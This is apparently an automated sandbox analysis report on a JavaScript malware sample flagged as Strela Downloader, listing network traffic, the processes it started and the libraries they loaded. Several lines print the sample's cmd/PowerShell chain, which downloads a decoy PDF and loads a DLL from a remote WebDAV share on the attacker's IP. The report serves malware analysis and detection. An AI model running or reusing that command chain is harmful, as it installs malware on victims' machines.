Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:60665 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2116098678.000001392DA67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2175157065.00000169DA2BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2179023896.00000169DA29B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2178758543.00000169DA268000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2179153486.00000169DA2BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2176118777.00000169DA29B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2178758543.00000169DA268000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num
Source: svchost.exe, 00000009.00000002.3399644430.000001FFE1200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2176629819.000001FFE1130000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4852, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 225803042163626345.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3768:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5vsyj1aj.3yd.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1616,i,10186210972934527283,15093102510945980784,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1616,i,10186210972934527283,15093102510945980784,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
